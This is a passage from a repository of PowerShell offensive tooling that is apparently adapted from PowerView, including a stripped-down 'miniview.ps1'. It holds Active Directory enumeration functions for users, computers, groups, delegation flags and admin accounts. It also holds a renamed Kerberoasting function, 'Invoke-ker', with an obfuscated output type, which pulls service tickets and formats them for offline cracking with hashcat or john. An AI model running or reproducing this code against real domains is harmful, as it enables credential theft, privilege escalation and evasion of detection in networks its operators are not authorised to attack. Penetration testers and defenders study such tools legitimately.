624 | Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
625 | $Filter += '(servicePrincipalName=*)'
626 | }
627 | if ($PSBoundParameters['AllowDelegation']) {
628 | Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
629 | # negation of "Accounts that are sensitive and not trusted for delegation"
630 | $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
631 | }
632 | if ($PSBoundParameters['DisallowDelegation']) {
633 | Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
634 | $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
635 | }
636 | if ($PSBoundParameters['AdminCount']) {
637 | Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
638 | $Filter += '(admincount=1)'
639 | }
640 | if ($PSBoundParameters['TrustedToAuth']) {
641 | Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
642 | $Filter += '(msds-allowedtodelegateto=*)'
643 | }
644 | if ($PSBoundParameters['PreauthNotRequired']) {
645 | Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
646 | $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
647 | }
648 | if ($PSBoundParameters['LDAPFilter']) {
649 | Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
650 | $Filter += "$LDAPFilter"
651 | }
652 |
653 | # build the LDAP filter for the dynamic UAC filter value
654 | $UACFilter | Where-Object {$_} | ForEach-Object {
655 | if ($_ -match 'NOT_.*') {
656 | $UACField = $_.Substring(4)
657 | $UACValue = [Int]($UACEnum::$UACField)
658 | $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
659 | }
660 | else {
661 | $UACValue = [Int]($UACEnum::$_)
662 | $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
663 | }
664 | }
665 |
666 | $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
667 | Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
668 |
669 | if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
670 | else { $Results = $UserSearcher.FindAll() }
671 | $Results | Where-Object {$_} | ForEach-Object {
672 | if ($PSBoundParameters['Raw']) {
673 | # return raw result objects
674 | $User = $_
675 | $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
676 | }
677 | else {
678 | $User = Convert-LDAPProperty -Properties $_.Properties
679 | $User.PSObject.TypeNames.Insert(0, 'PowerView.User')
680 | }
681 | $User
682 | }
683 | if ($Results) {
684 | try { $Results.dispose() }
685 | catch {
686 | Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
687 | }
688 | }
689 | $UserSearcher.dispose()
690 | }
691 | }
692 | }
693 |
694 | function Invoke-ker {
695 | [OutputType('PxxxxxView.SPddicket')]
696 | [CmdletBinding()]
697 | Param(
698 |
699 | [ValidateNotNullOrEmpty()]
700 | [Alias('Filter')]
701 | [String]
702 | $LDAPFilter,
703 |
704 |
705 | [ValidateRange(1, 10000)]
706 | [Int]
707 | $ResultPageSize = 200,
708 |
709 | [ValidateRange(1, 10000)]
710 | [Int]
711 | $ServerTimeLimit,
712 |
713 | [ValidateRange(0,10000)]
714 | [Int]
715 | $Delay = 0,
716 |
717 | [ValidateRange(0.0, 1.0)]
718 | [Double]
719 | $Jitter = .3,
720 |
721 | [ValidateSet('john', 'hashcat')]
722 | [Alias('Format')]
723 | [String]
724 | $OutputFormat = 'hashcat'
725 | )
726 | BEGIN {
727 | $UserSearcherArguments = @{
728 | 'SPN' = $True
729 | 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
730 | }
731 | if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
732 | if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
733 | if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
734 | if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
735 | if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
736 | }
737 |
738 | PROCESS {
739 | if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
740 | Get-DomainUser @UserSearcherArguments | Get-DomainSPNTicket -Delay $Delay -OutputFormat $OutputFormat -Jitter $Jitter
741 | }
742 |
743 | END {
744 | if ($LogonToken) {
745 | Invoke-RevertToSelf -TokenHandle $LogonToken
746 | }
747 | }
748 | }
749 |
--------------------------------------------------------------------------------
/ps_scripts/miniview.ps1:
--------------------------------------------------------------------------------
1 | function Get-DomainSID {
2 | param(
3 | [String]
4 | $Domain
5 | )
6 |
7 | $FoundDomain = Get-NetDomain -Domain $Domain
8 |
9 | if($FoundDomain) {
10 | $PrimaryDC = $FoundDomain.PdcRoleOwner
11 | $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid
12 | $Parts = $PrimaryDCSID.split("-")
13 | $Parts[0..($Parts.length -2)] -join "-"
14 | }
15 | }
16 |
17 | function Add-Win32Type
18 | {
19 | [OutputType([Hashtable])]
20 | Param(
21 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
22 | [String]
23 | $DllName,
24 |
25 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
26 | [String]
27 | $FunctionName,
28 |
29 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
30 | [Type]
31 | $ReturnType,
32 |
33 | [Parameter(ValueFromPipelineByPropertyName = $True)]
34 | [Type[]]
35 | $ParameterTypes,
36 |
37 | [Parameter(ValueFromPipelineByPropertyName = $True)]
38 | [Runtime.InteropServices.CallingConvention]
39 | $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
40 |
41 | [Parameter(ValueFromPipelineByPropertyName = $True)]
42 | [Runtime.InteropServices.CharSet]
43 | $Charset = [Runtime.InteropServices.CharSet]::Auto,
44 |
45 | [Parameter(ValueFromPipelineByPropertyName = $True)]
46 | [Switch]
47 | $SetLastError,
48 |
49 | [Parameter(Mandatory = $True)]
50 | [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
51 | $Module,
52 |
53 | [ValidateNotNull()]
54 | [String]
55 | $Namespace = ''
56 | )
57 |
58 | BEGIN
59 | {
60 | $TypeHash = @{}
61 | }
62 |
63 | PROCESS
64 | {
65 | if ($Module -is [Reflection.Assembly])
66 | {
67 | if ($Namespace)
68 | {
69 | $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
70 | }
71 | else
72 | {
73 | $TypeHash[$DllName] = $Module.GetType($DllName)
74 | }
75 | }
76 | else
77 | {
78 | if (!$TypeHash.ContainsKey($DllName))
79 | {
80 | if ($Namespace)
81 | {
82 | $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
83 | }
84 | else
85 | {
86 | $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
87 | }
88 | }
89 |
90 | $Method = $TypeHash[$DllName].DefineMethod(
91 | $FunctionName,
92 | 'Public,Static,PinvokeImpl',
93 | $ReturnType,
94 | $ParameterTypes)
95 |
96 | $i = 1
97 | ForEach($Parameter in $ParameterTypes)
98 | {
99 | if ($Parameter.IsByRef)
100 | {
101 | [void] $Method.DefineParameter($i, 'Out', $Null)
102 | }
103 |
104 | $i++
105 | }
106 |
107 | $DllImport = [Runtime.InteropServices.DllImportAttribute]
108 | $SetLastErrorField = $DllImport.GetField('SetLastError')
109 | $CallingConventionField = $DllImport.GetField('CallingConvention')
110 | $CharsetField = $DllImport.GetField('CharSet')
111 | if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
112 |
113 | $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
114 | $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
115 | $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
116 | [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
117 | [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
118 |
119 | $Method.SetCustomAttribute($DllImportAttribute)
120 | }
121 | }
122 |
123 | END
124 | {
125 | if ($Module -is [Reflection.Assembly])
126 | {
127 | return $TypeHash
128 | }
129 |
130 | $ReturnTypes = @{}
131 |
132 | ForEach ($Key in $TypeHash.Keys)
133 | {
134 | $Type = $TypeHash[$Key].CreateType()
135 |
136 | $ReturnTypes[$Key] = $Type
137 | }
138 |
139 | return $ReturnTypes
140 | }
141 | }
142 |
143 | function struct
144 | {
145 |
146 |
147 | [OutputType([Type])]
148 | Param
149 | (
150 | [Parameter(Position = 1, Mandatory = $True)]
151 | [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
152 | $Module,
153 |
154 | [Parameter(Position = 2, Mandatory = $True)]
155 | [ValidateNotNullOrEmpty()]
156 | [String]
157 | $FullName,
158 |
159 | [Parameter(Position = 3, Mandatory = $True)]
160 | [ValidateNotNullOrEmpty()]
161 | [Hashtable]
162 | $StructFields,
163 |
164 | [Reflection.Emit.PackingSize]
165 | $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
166 |
167 | [Switch]
168 | $ExplicitLayout
169 | )
170 |
171 | if ($Module -is [Reflection.Assembly])
172 | {
173 | return ($Module.GetType($FullName))
174 | }
175 |
176 | [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
177 | Class,
178 | Public,
179 | Sealed,
180 | BeforeFieldInit'
181 |
182 | if ($ExplicitLayout)
183 | {
184 | $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
185 | }
186 | else
187 | {
188 | $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
189 | }
190 |
191 | $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
192 | $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
193 | $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
194 |
195 | $Fields = New-Object Hashtable[]($StructFields.Count)
196 |
197 | ForEach ($Field in $StructFields.Keys)
198 | {
199 | $Index = $StructFields[$Field]['Position']
200 | $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
201 | }
202 |
203 | ForEach ($Field in $Fields)
204 | {
205 | $FieldName = $Field['FieldName']
206 | $FieldProp = $Field['Properties']
207 |
208 | $Offset = $FieldProp['Offset']
209 | $Type = $FieldProp['Type']
210 | $MarshalAs = $FieldProp['MarshalAs']
211 |
212 | $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
213 |
214 | if ($MarshalAs)
215 | {
216 | $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
217 | if ($MarshalAs[1])
218 | {
219 | $Size = $MarshalAs[1]
220 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
221 | $UnmanagedType, $SizeConst, @($Size))
222 | }
223 | else
224 | {
225 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
226 | }
227 |
228 | $NewField.SetCustomAttribute($AttribBuilder)
229 | }
230 |
231 | if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
232 | }
233 |
234 | $SizeMethod = $StructBuilder.DefineMethod('GetSize',
235 | 'Public, Static',
236 | [Int],
237 | [Type[]] @())
238 | $ILGenerator = $SizeMethod.GetILGenerator()
239 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
240 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
241 | [Type].GetMethod('GetTypeFromHandle'))
242 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
243 | [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
244 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
245 |
246 | $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
247 | 'PrivateScope, Public, Static, HideBySig, SpecialName',
248 | $StructBuilder,
249 | [Type[]] @([IntPtr]))
250 | $ILGenerator2 = $ImplicitConverter.GetILGenerator()
251 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
252 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
253 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
254 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
255 | [Type].GetMethod('GetTypeFromHandle'))
256 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
257 | [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
258 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
259 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
260 |
261 | $StructBuilder.CreateType()
262 | }
263 |
264 | function func
265 | {
266 | Param
267 | (
268 | [Parameter(Position = 0, Mandatory = $True)]
269 | [String]
270 | $DllName,
271 |
272 | [Parameter(Position = 1, Mandatory = $True)]
273 | [String]
274 | $FunctionName,
275 |
276 | [Parameter(Position = 2, Mandatory = $True)]
277 | [Type]
278 | $ReturnType,
279 |
280 | [Parameter(Position = 3)]
281 | [Type[]]
282 | $ParameterTypes,
283 |
284 | [Parameter(Position = 4)]
285 | [Runtime.InteropServices.CallingConvention]
286 | $NativeCallingConvention,
287 |
288 | [Parameter(Position = 5)]
289 | [Runtime.InteropServices.CharSet]
290 | $Charset,
291 |
292 | [Switch]
293 | $SetLastError
294 | )
295 |
296 | $Properties = @{
297 | DllName = $DllName
298 | FunctionName = $FunctionName
299 | ReturnType = $ReturnType
300 | }
301 |
302 | if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
303 | if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
304 | if ($Charset) { $Properties['Charset'] = $Charset }
305 | if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
306 |
307 | New-Object PSObject -Property $Properties
308 | }
309 |
310 | function field
311 | {
312 | Param
313 | (
314 | [Parameter(Position = 0, Mandatory = $True)]
315 | [UInt16]
316 | $Position,
317 |
318 | [Parameter(Position = 1, Mandatory = $True)]
319 | [Type]
320 | $Type,
321 |
322 | [Parameter(Position = 2)]
323 | [UInt16]
324 | $Offset,
325 |
326 | [Object[]]
327 | $MarshalAs
328 | )
329 |
330 | @{
331 | Position = $Position
332 | Type = $Type -as [Type]
333 | Offset = $Offset
334 | MarshalAs = $MarshalAs
335 | }
336 | }
337 |
338 | function Convert-LDAPProperty {
339 | param(
340 | [Parameter(Mandatory=$True,ValueFromPipeline=$True)]
341 | [ValidateNotNullOrEmpty()]
342 | $Properties
343 | )
344 |
345 | $ObjectProperties = @{}
346 |
347 | $Properties.PropertyNames | ForEach-Object {
348 | if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) {
349 | $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value
350 | }
351 | elseif($_ -eq "objectguid") {
352 | $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
353 | }
354 | elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) {
355 | if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
356 | $Temp = $Properties[$_][0]
357 | [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
358 | [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
359 | $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
360 | }
361 | else {
362 | $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
363 | }
364 | }
365 | elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {
366 | $Prop = $Properties[$_]
367 | try {
368 | $Temp = $Prop[$_][0]
369 | Write-Verbose $_
370 | [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
371 | [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
372 | $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
373 | }
374 | catch {
375 | $ObjectProperties[$_] = $Prop[$_]
376 | }
377 | }
378 | elseif($Properties[$_].count -eq 1) {
379 | $ObjectProperties[$_] = $Properties[$_][0]
380 | }
381 | else {
382 | $ObjectProperties[$_] = $Properties[$_]
383 | }
384 | }
385 |
386 | New-Object -TypeName PSObject -Property $ObjectProperties
387 | }
388 |
389 | function New-InMemoryModule
390 | {
391 |
392 | Param
393 | (
394 | [Parameter(Position = 0)]
395 | [ValidateNotNullOrEmpty()]
396 | [String]
397 | $ModuleName = [Guid]::NewGuid().ToString()
398 | )
399 |
400 | $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()
401 |
402 | ForEach ($Assembly in $LoadedAssemblies) {
403 | if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
404 | return $Assembly
405 | }
406 | }
407 |
408 | $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
409 | $Domain = [AppDomain]::CurrentDomain
410 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
411 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
412 |
413 | return $ModuleBuilder
414 | }
415 |
416 | function psenum
417 | {
418 |
419 | [OutputType([Type])]
420 | Param
421 | (
422 | [Parameter(Position = 0, Mandatory = $True)]
423 | [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
424 | $Module,
425 |
426 | [Parameter(Position = 1, Mandatory = $True)]
427 | [ValidateNotNullOrEmpty()]
428 | [String]
429 | $FullName,
430 |
431 | [Parameter(Position = 2, Mandatory = $True)]
432 | [Type]
433 | $Type,
434 |
435 | [Parameter(Position = 3, Mandatory = $True)]
436 | [ValidateNotNullOrEmpty()]
437 | [Hashtable]
438 | $EnumElements,
439 |
440 | [Switch]
441 | $Bitfield
442 | )
443 |
444 | if ($Module -is [Reflection.Assembly])
445 | {
446 | return ($Module.GetType($FullName))
447 | }
448 |
449 | $EnumType = $Type -as [Type]
450 |
451 | $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
452 |
453 | if ($Bitfield)
454 | {
455 | $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
456 | $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
457 | $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
458 | }
459 |
460 | ForEach ($Key in $EnumElements.Keys)
461 | {
462 | $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
463 | }
464 |
465 | $EnumBuilder.CreateType()
466 | }
467 |
468 | $Mod = New-InMemoryModule -ModuleName Win32
469 |
470 | # all of the Win32 API functions we need
471 | $FunctionDefinitions = @(
472 | (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
473 | (func netapi32 NetApiBufferFree ([Int]) @([IntPtr]))
474 | )
475 |
476 | $SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{
477 | shi1_netname = field 0 String -MarshalAs @('LPWStr')
478 | shi1_type = field 1 UInt32
479 | shi1_remark = field 2 String -MarshalAs @('LPWStr')
480 | }
481 |
482 | $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
483 | $Netapi32 = $Types['netapi32']
484 |
485 | function Get-NetDomain {
486 | [CmdletBinding()]
487 | param(
488 | [Parameter(ValueFromPipeline=$True)]
489 | [String]
490 | $Domain
491 | )
492 |
493 | process {
494 | if($Domain) {
495 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
496 | try {
497 | [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
498 | }
499 | catch {
500 | Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
501 | $Null
502 | }
503 | }
504 | else {
505 | [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
506 | }
507 | }
508 | }
509 |
510 |
511 | function Get-DomainSearcher {
512 | [CmdletBinding()]
513 | param(
514 | [String]
515 | $Domain,
516 |
517 | [String]
518 | $DomainController,
519 |
520 | [String]
521 | $ADSpath,
522 |
523 | [String]
524 | $ADSprefix,
525 |
526 | [ValidateRange(1,10000)]
527 | [Int]
528 | $PageSize = 200
529 | )
530 |
531 | if(!$Domain) {
532 | $Domain = (Get-NetDomain).name
533 | }
534 | else {
535 | if(!$DomainController) {
536 | try {
537 | $DomainController = ((Get-NetDomain).PdcRoleOwner).Name
538 | }
539 | catch {
540 | throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
541 | }
542 | }
543 | }
544 |
545 | $SearchString = "LDAP://"
546 |
547 | if($DomainController) {
548 | $SearchString += $DomainController + "/"
549 | }
550 | if($ADSprefix) {
551 | $SearchString += $ADSprefix + ","
552 | }
553 |
554 | if($ADSpath) {
555 | if($ADSpath -like "GC://*") {
556 | $DistinguishedName = $AdsPath
557 | $SearchString = ""
558 | }
559 | else {
560 | if($ADSpath -like "LDAP://*") {
561 | $ADSpath = $ADSpath.Substring(7)
562 | }
563 | $DistinguishedName = $ADSpath
564 | }
565 | }
566 | else {
567 | $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))"
568 | }
569 |
570 | $SearchString += $DistinguishedName
571 | Write-Verbose "Get-DomainSearcher search string: $SearchString"
572 |
573 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
574 | $Searcher.PageSize = $PageSize
575 | $Searcher
576 | }
577 |
578 | function Get-NetUser {
579 |
580 | [CmdletBinding()]
581 | param(
582 | [Parameter(ValueFromPipeline=$True)]
583 | [String]
584 | $UserName,
585 |
586 | [String]
587 | $Domain,
588 |
589 | [String]
590 | $DomainController,
591 |
592 | [String]
593 | $ADSpath,
594 |
595 | [String]
596 | $Filter,
597 |
598 | [Switch]
599 | $SPN,
600 |
601 | [Switch]
602 | $AdminCount,
603 |
604 | [Switch]
605 | $Unconstrained,
606 |
607 | [Switch]
608 | $AllowDelegation,
609 |
610 | [ValidateRange(1,10000)]
611 | [Int]
612 | $PageSize = 200
613 | )
614 |
615 | begin {
616 | $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize
617 | }
618 |
619 | process {
620 | if($UserSearcher) {
621 |
622 | if($Unconstrained) {
623 | Write-Verbose "Checking for unconstrained delegation"
624 | $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
625 | }
626 | if($AllowDelegation) {
627 | Write-Verbose "Checking for users who can be delegated"
628 | $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))"
629 | }
630 | if($AdminCount) {
631 | Write-Verbose "Checking for adminCount=1"
632 | $Filter += "(admincount=1)"
633 | }
634 |
635 | if($UserName) {
636 | $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)"
637 | }
638 | elseif($SPN) {
639 | $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)"
640 | }
641 | else {
642 | $UserSearcher.filter="(&(samAccountType=805306368)$Filter)"
643 | }
644 |
645 | $UserSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
646 | Convert-LDAPProperty -Properties $_.Properties
647 | }
648 | }
649 | }
650 | }
651 |
652 | function Get-DomainSID {
653 | param(
654 | [String]
655 | $Domain
656 | )
657 |
658 | $FoundDomain = Get-NetDomain -Domain $Domain
659 |
660 | if($FoundDomain) {
661 | $PrimaryDC = $FoundDomain.PdcRoleOwner
662 | $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid
663 | $Parts = $PrimaryDCSID.split("-")
664 | $Parts[0..($Parts.length -2)] -join "-"
665 | }
666 | }
667 |
668 | function Get-NetComputer {
669 |
670 | [CmdletBinding()]
671 | Param (
672 | [Parameter(ValueFromPipeline=$True)]
673 | [Alias('HostName')]
674 | [String]
675 | $ComputerName = '*',
676 |
677 | [String]
678 | $SPN,
679 |
680 | [String]
681 | $OperatingSystem,
682 |
683 | [String]
684 | $ServicePack,
685 |
686 | [String]
687 | $Filter,
688 |
689 | [Switch]
690 | $Printers,
691 |
692 | [Switch]
693 | $Ping,
694 |
695 | [Switch]
696 | $FullData,
697 |
698 | [String]
699 | $Domain,
700 |
701 | [String]
702 | $DomainController,
703 |
704 | [String]
705 | $ADSpath,
706 |
707 | [Switch]
708 | $Unconstrained,
709 |
710 | [ValidateRange(1,10000)]
711 | [Int]
712 | $PageSize = 200
713 | )
714 |
715 | begin {
716 | $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
717 | }
718 |
719 | process {
720 |
721 | if ($CompSearcher) {
722 |
723 | if($Unconstrained) {
724 | Write-Verbose "Searching for computers with for unconstrained delegation"
725 | $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
726 | }
727 | if($Printers) {
728 | Write-Verbose "Searching for printers"
729 | $Filter += "(objectCategory=printQueue)"
730 | }
731 | if($SPN) {
732 | Write-Verbose "Searching for computers with SPN: $SPN"
733 | $Filter += "(servicePrincipalName=$SPN)"
734 | }
735 | if($OperatingSystem) {
736 | $Filter += "(operatingsystem=$OperatingSystem)"
737 | }
738 | if($ServicePack) {
739 | $Filter += "(operatingsystemservicepack=$ServicePack)"
740 | }
741 |
742 | $CompSearcher.filter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"
743 |
744 | try {
745 |
746 | $CompSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
747 | $Up = $True
748 | if($Ping) {
749 | $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
750 | }
751 | if($Up) {
752 | if ($FullData) {
753 | Convert-LDAPProperty -Properties $_.Properties
754 | }
755 | else {
756 | $_.properties.dnshostname
757 | }
758 | }
759 | }
760 | }
761 | catch {
762 | Write-Warning "Error: $_"
763 | }
764 | }
765 | }
766 | }
767 |
768 |
769 | function Get-NetGroup {
770 | [CmdletBinding()]
771 | param(
772 | [Parameter(ValueFromPipeline=$True)]
773 | [String]
774 | $GroupName = '*',
775 |
776 | [String]
777 | $SID,
778 |
779 | [String]
780 | $UserName,
781 |
782 | [String]
783 | $Filter,
784 |
785 | [String]
786 | $Domain,
787 |
788 | [String]
789 | $DomainController,
790 |
791 | [String]
792 | $ADSpath,
793 |
794 | [Switch]
795 | $AdminCount,
796 |
797 | [Switch]
798 | $FullData,
799 |
800 | [Switch]
801 | $RawSids,
802 |
803 | [ValidateRange(1,10000)]
804 | [Int]
805 | $PageSize = 200
806 | )
807 |
808 | begin {
809 | $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
810 | }
811 |
812 | process {
813 | if($GroupSearcher) {
814 |
815 | if($AdminCount) {
816 | Write-Verbose "Checking for adminCount=1"
817 | $Filter += "(admincount=1)"
818 | }
819 |
820 | if ($UserName) {
821 | $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -ReturnRaw -PageSize $PageSize
822 |
823 | $UserDirectoryEntry = $User.GetDirectoryEntry()
824 |
825 | $UserDirectoryEntry.RefreshCache("tokenGroups")
826 |
827 | $UserDirectoryEntry.TokenGroups | Foreach-Object {
828 | $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
829 |
830 | if(!($GroupSid -match '^S-1-5-32-545|-513$')) {
831 | if($FullData) {
832 | Get-ADObject -SID $GroupSid -PageSize $PageSize
833 | }
834 | else {
835 | if($RawSids) {
836 | $GroupSid
837 | }
838 | else {
839 | Convert-SidToName $GroupSid
840 | }
841 | }
842 | }
843 | }
844 | }
845 | else {
846 | if ($SID) {
847 | $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
848 | }
849 | else {
850 | $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)"
851 | }
852 |
853 | $GroupSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
854 | if ($FullData) {
855 | Convert-LDAPProperty -Properties $_.Properties
856 | }
857 | else {
858 | $_.properties.samaccountname
859 | }
860 | }
861 | }
862 | }
863 | }
864 | }
865 |
866 | function Get-NetGroupMember {
867 | [CmdletBinding()]
868 | param(
869 | [Parameter(ValueFromPipeline=$True)]
870 | [String]
871 | $GroupName,
872 |
873 | [String]
874 | $SID,
875 |
876 | [String]
877 | $Domain = (Get-NetDomain).Name,
878 |
879 | [String]
880 | $DomainController,
881 |
882 | [String]
883 | $ADSpath,
884 |
885 | [Switch]
